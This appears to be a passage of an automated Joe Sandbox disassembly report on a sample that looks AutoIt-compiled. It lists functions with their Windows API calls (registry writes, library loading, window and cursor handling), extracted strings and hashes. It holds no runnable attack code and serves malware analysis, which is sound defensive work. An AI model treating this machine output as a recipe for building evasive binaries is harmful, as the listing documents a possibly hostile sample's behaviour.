Part of subcall function 00B81193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B80BB1,?), ref: 00B811B7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: ce3baf679a1440b0d532ad1d7a210a3f482d99bf83a095c2934024980ceada4a
Instruction ID: 18f48200b7e95e2ee0c567f8d6001cf47fd51011866f8c4c6ffca4181bf0b010
Opcode Fuzzy Hash: ce3baf679a1440b0d532ad1d7a210a3f482d99bf83a095c2934024980ceada4a
Instruction Fuzzy Hash: 72714C7190020AABDB60EFA4DC44BAEBBB8EF04341F148255FA19B71A1DB719909CB60

Function 00BAC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BAC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00BBCC08,00000000,?,00000000,?,?), ref: 00BAC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00BAC5A4
_wcslen.LIBCMT ref: 00BAC5F4
_wcslen.LIBCMT ref: 00BAC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00BAC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00BAC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00BAC84D
RegCloseKey.ADVAPI32(?), ref: 00BAC881
RegCloseKey.ADVAPI32(00000000), ref: 00BAC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00BAC960

Strings

REG_SZ, xrefs: 00BAC644
REG_MULTI_SZ, xrefs: 00BAC6F5
REG_DWORD, xrefs: 00BAC804
REG_QWORD, xrefs: 00BAC8C3
REG_BINARY, xrefs: 00BAC913
REG_EXPAND_SZ, xrefs: 00BAC5CD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: fb3b3958635f289fbf5a0f1b6d8e683fc7a3981237577601828e5b4d66bdaa6e
Instruction ID: 0544044101150c64ab63bb6a4b64b1343f8a9b0ea58263ec0515d00e1aad4974
Opcode Fuzzy Hash: fb3b3958635f289fbf5a0f1b6d8e683fc7a3981237577601828e5b4d66bdaa6e
Instruction Fuzzy Hash: 5D1279356082119FCB14DF14D891A2ABBE5FF89714F14889CF88A9B3A2DB31ED45CB85

Function 00BB091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00BB09C6
_wcslen.LIBCMT ref: 00BB0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BB0A54
_wcslen.LIBCMT ref: 00BB0A8A
_wcslen.LIBCMT ref: 00BB0B06
_wcslen.LIBCMT ref: 00BB0B81

Part of subcall function 00B3F9F2: _wcslen.LIBCMT ref: 00B3F9FD

Part of subcall function 00B82BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B82BFA

Strings

GETTOTALCOUNT, xrefs: 00BB09F2, 00BB0A17
GETTEXT, xrefs: 00BB0C97
UNCHECK, xrefs: 00BB0D3E
EXISTS, xrefs: 00BB0B7C, 00BB0B97
EXPAND, xrefs: 00BB0BF8
ISCHECKED, xrefs: 00BB0CE1
COLLAPSE, xrefs: 00BB0B01, 00BB0B1C
CHECK, xrefs: 00BB0A85, 00BB0AA0
SELECT, xrefs: 00BB0D11
GETITEMCOUNT, xrefs: 00BB0C1E
GETSELECTED, xrefs: 00BB0C4E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: c05f2fbee3038d89a70b81249f12478dec421b45215412ac2c6bb7b0881da042
Instruction ID: 879f60e4462f74236501b2eb8207b89473f8f10c841b88b32bce7d824b3328ba
Opcode Fuzzy Hash: c05f2fbee3038d89a70b81249f12478dec421b45215412ac2c6bb7b0881da042
Instruction Fuzzy Hash: 34E169312183518FC714EF25C49097AB7E1FF98314B1489EDF89A9B2A2DB71ED45CB81

Function 00BAC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BAB6AE,?,?), ref: 00BAC9B5
_wcslen.LIBCMT ref: 00BAC9F1
_wcslen.LIBCMT ref: 00BACA68
_wcslen.LIBCMT ref: 00BACA9E
_wcslen.LIBCMT ref: 00BACAF9
_wcslen.LIBCMT ref: 00BACB2F
_wcslen.LIBCMT ref: 00BACB7F

Strings

HKEY_USERS, xrefs: 00BACBDF
HKEY_CURRENT_USER, xrefs: 00BACBBD
HKLM, xrefs: 00BACA98, 00BACA9D
HKEY_LOCAL_MACHINE, xrefs: 00BACA62, 00BACA67
HKEY_CLASSES_ROOT, xrefs: 00BACAF3, 00BACAF8
HKU, xrefs: 00BACBF0
HKCC, xrefs: 00BACBAC
HKEY_CURRENT_CONFIG, xrefs: 00BACB79, 00BACB7E
HKCR, xrefs: 00BACB29, 00BACB2E
HKCU, xrefs: 00BACBCE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: ee22a689adb6341e7de77f538f5cff548c6b417a5bdb7a2d5d9db47a879d9536
Instruction ID: 94b1353f799f7b1bf482e8aa90beb2a7f888c5606aac91f5a3cfd63cef4afe76
Opcode Fuzzy Hash: ee22a689adb6341e7de77f538f5cff548c6b417a5bdb7a2d5d9db47a879d9536
Instruction Fuzzy Hash: 1C71E43360816E8BCB20DE7CC9416BE3BD1EB62764F6505E5F8569B288EB31CD45D3A0

Function 00BB833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BB835A
_wcslen.LIBCMT ref: 00BB836E
_wcslen.LIBCMT ref: 00BB8391
_wcslen.LIBCMT ref: 00BB83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00BB83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00BB361A,?), ref: 00BB844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BB8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00BB84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BB8501
FreeLibrary.KERNEL32(?), ref: 00BB850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BB851D
DestroyIcon.USER32(?), ref: 00BB852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00BB8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00BB8555

Strings

.dll, xrefs: 00BB83AB
.exe, xrefs: 00BB8388
.icl, xrefs: 00BB8368

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: ab33a16a42f5bfc25428b44e7b443a7fff082b9074759dae7dc02f92e877cc63
Instruction ID: 0f30809fc081a29f4e5406eac851a6a508f1cd64f11e4c4e360fb2f59bd7db27
Opcode Fuzzy Hash: ab33a16a42f5bfc25428b44e7b443a7fff082b9074759dae7dc02f92e877cc63
Instruction Fuzzy Hash: AD61AB71540615BBEB24DF64CC81BFA7BECEB18710F104689F815EA1D1DFB4AA90DBA0

Function 00B27778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#pragma compile, xrefs: 00B277D3
#ce, xrefs: 00B278ED
Unterminated group of comments, xrefs: 00B6528C
#OnAutoItStartRegister, xrefs: 00B27817
Bad directive syntax error, xrefs: 00B6519A
#requireadmin, xrefs: 00B277FF
#comments-end, xrefs: 00B278D9
#notrayicon, xrefs: 00B277E7
Cannot parse #include, xrefs: 00B65279
#cs, xrefs: 00B27873, 00B278C5
#include-once, xrefs: 00B2782F
', xrefs: 00B65169
#include, xrefs: 00B27847
", xrefs: 00B65153
#comments-start, xrefs: 00B2785F, 00B278B1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 3a38d9ac327f00a1a2a5a9cb727fc659f9e4cbd363b89c779c91a05572f1bc83
Instruction ID: b2322961681ad2edd4721db25a264a48150ef12d78b76b65db283c3f3defcbb4
Opcode Fuzzy Hash: 3a38d9ac327f00a1a2a5a9cb727fc659f9e4cbd363b89c779c91a05572f1bc83
Instruction Fuzzy Hash: 0A81D471684625ABDB20AF61DC42FFE37E8EF15300F0440E4F908AA1A6EF74DA51D795

Function 00B93E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00B93EF8
_wcslen.LIBCMT ref: 00B93F03
_wcslen.LIBCMT ref: 00B93F5A
_wcslen.LIBCMT ref: 00B93F98
GetDriveTypeW.KERNEL32(?), ref: 00B93FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B9401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B94059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B94087

Strings

type cdaudio alias cd wait, xrefs: 00B94001
wait, xrefs: 00B94044
open , xrefs: 00B93FE5
close cd wait, xrefs: 00B94072
open, xrefs: 00B93F54, 00B93F59
close, xrefs: 00B93EFE, 00B93F18
set cd door , xrefs: 00B94028
closed, xrefs: 00B93F08, 00B93F2D, 00B93F46, 00B93F7E, 00B93F97

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 70ae52e8c915001176d9f7b1986f4bd50c7cb4f884f83a528b3e2acbdd6594ae
Instruction ID: 63328ff599f20bec9b0756d3f732214f1856961308c9c3b425c48c596c10c497
Opcode Fuzzy Hash: 70ae52e8c915001176d9f7b1986f4bd50c7cb4f884f83a528b3e2acbdd6594ae
Instruction Fuzzy Hash: D171D2326042119FCB10EF24C89196FB7F4EFA4754F1049ADF99A97261EB30EE46CB91

Function 00B85A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00B85A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B85A40
SetWindowTextW.USER32(?,?), ref: 00B85A57
GetDlgItem.USER32(?,000003EA), ref: 00B85A6C
SetWindowTextW.USER32(00000000,?), ref: 00B85A72
GetDlgItem.USER32(?,000003E9), ref: 00B85A82
SetWindowTextW.USER32(00000000,?), ref: 00B85A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B85AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B85AC3
GetWindowRect.USER32(?,?), ref: 00B85ACC
_wcslen.LIBCMT ref: 00B85B33
SetWindowTextW.USER32(?,?), ref: 00B85B6F
GetDesktopWindow.USER32 ref: 00B85B75
GetWindowRect.USER32(00000000), ref: 00B85B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00B85BD3
GetClientRect.USER32(?,?), ref: 00B85BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00B85C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B85C2F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 47484e5373b34a89d331538279c43aa53b4fee8c8a1529962f3894c7f918e093
Instruction ID: 0dbc9fcea9d7dd359ec09ccc0f50927ece97ed7e1ed1af4e424fa13f7bd64ac0
Opcode Fuzzy Hash: 47484e5373b34a89d331538279c43aa53b4fee8c8a1529962f3894c7f918e093
Instruction Fuzzy Hash: 2A715D31900B09AFDB20EFA9CE85EAEBBF5FF48704F104658E542A75A0DB75E944CB50

Function 00B9FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00B9FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 00B9FE32
LoadCursorW.USER32(00000000,00007F00), ref: 00B9FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 00B9FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 00B9FE53
LoadCursorW.USER32(00000000,00007F01), ref: 00B9FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 00B9FE69
LoadCursorW.USER32(00000000,00007F88), ref: 00B9FE74
LoadCursorW.USER32(00000000,00007F80), ref: 00B9FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 00B9FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 00B9FE95
LoadCursorW.USER32(00000000,00007F85), ref: 00B9FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 00B9FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 00B9FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 00B9FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 00B9FECC
GetCursorInfo.USER32(?), ref: 00B9FEDC
GetLastError.KERNEL32 ref: 00B9FF1E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 72f8717f0cbed358098b6fe7c6bb4f7e497e4e4b256a3525958baf13c38e6635
Instruction ID: 5242ec4a39d99274d0eed26062d03aa4bd55e81948fde2ca466fdfa227060e22
Opcode Fuzzy Hash: 72f8717f0cbed358098b6fe7c6bb4f7e497e4e4b256a3525958baf13c38e6635
Instruction Fuzzy Hash: 5A4154B0D0531A6BDB10DFBA8C8996EBFE8FF04364B50457AE11DE7281DB789901CE91

Function 00B400C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00B400C6

Part of subcall function 00B400ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00BF070C,00000FA0,143F2AC7,?,?,?,?,00B623B3,000000FF), ref: 00B4011C
Part of subcall function 00B400ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00B623B3,000000FF), ref: 00B40127
Part of subcall function 00B400ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00B623B3,000000FF), ref: 00B40138
Part of subcall function 00B400ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00B4014E
Part of subcall function 00B400ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B4015C
Part of subcall function 00B400ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B4016A
Part of subcall function 00B400ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B40195
Part of subcall function 00B400ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B401A0

___scrt_fastfail.LIBCMT ref: 00B400E7

Part of subcall function 00B400A3: __onexit.LIBCMT ref: 00B400A9

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B40122
WakeAllConditionVariable, xrefs: 00B40162
SleepConditionVariableCS, xrefs: 00B40154
InitializeConditionVariable, xrefs: 00B40148
kernel32.dll, xrefs: 00B40133

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 4e4fe818a5e6b67c3bff9d75f2fd1d99d9656f87653ef2470d9d382bea76301a
Instruction ID: 877cf151c8267c5239eb186416ba56d2b62bf0a5294db932bd44c7b7b6388b4c
Opcode Fuzzy Hash: 4e4fe818a5e6b67c3bff9d75f2fd1d99d9656f87653ef2470d9d382bea76301a
Instruction Fuzzy Hash: 1421D732A547116BE710BB68AC45B7937D4DF04B51F1002B5FA01B36A2DFB49D009A90

Function 00B830F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B8318D
_wcslen.LIBCMT ref: 00B831F8

Strings

CLASSNN, xrefs: 00B831F3, 00B83204
TEXT, xrefs: 00B8347C
CLASS, xrefs: 00B83188, 00B831A5
REGEXPCLASS, xrefs: 00B83255, 00B83266
INSTANCE, xrefs: 00B83453
NAME, xrefs: 00B83335, 00B83346

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: b29749a62d836a68d56985b0b9a80e081e294ab6d2a49b024300afed449ed846
Instruction ID: 672f00c270d18a98602fc09d7c6a37e81f48a1e70ece6516cf02874bf4c9faed
Opcode Fuzzy Hash: b29749a62d836a68d56985b0b9a80e081e294ab6d2a49b024300afed449ed846
Instruction Fuzzy Hash: ECE1B532A00516ABCB24AFB8C4916EDBBF0FF54F10F5481A9E456B7260DB70AF85D790

Function 00B944C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00BBCC08), ref: 00B94527
_wcslen.LIBCMT ref: 00B9453B
_wcslen.LIBCMT ref: 00B94599
_wcslen.LIBCMT ref: 00B945F4
_wcslen.LIBCMT ref: 00B9463F
_wcslen.LIBCMT ref: 00B946A7

Part of subcall function 00B3F9F2: _wcslen.LIBCMT ref: 00B3F9FD

GetDriveTypeW.KERNEL32(?,00BE6BF0,00000061), ref: 00B94743

Strings

fixed, xrefs: 00B94635, 00B9463A
all, xrefs: 00B94531, 00B94536
unknown, xrefs: 00B94708
cdrom, xrefs: 00B9458F, 00B94594
network, xrefs: 00B9469D, 00B946A2
ramdisk, xrefs: 00B946F1
removable, xrefs: 00B945EA, 00B945EF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 721ee62b3d0768385df0fdebb206fba702034479609963e17c71ea1063316741
Instruction ID: 595a825a57b47845fbe891748b0c27be2ef3de7bd5cc0d63db6689fe01a0b3be
Opcode Fuzzy Hash: 721ee62b3d0768385df0fdebb206fba702034479609963e17c71ea1063316741
Instruction Fuzzy Hash: 58B1F1716083029FCB10DF28D890E6AB7E5EFA5760F5049ADF49AC7291DB30DD46CB62

Function 00B2326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00BF1990), ref: 00B62F8D
GetMenuItemCount.USER32(00BF1990), ref: 00B6303D
GetCursorPos.USER32(?), ref: 00B63081
SetForegroundWindow.USER32(00000000), ref: 00B6308A
TrackPopupMenuEx.USER32(00BF1990,00000000,?,00000000,00000000,00000000), ref: 00B6309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B630A9

Strings

0, xrefs: 00B2327D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
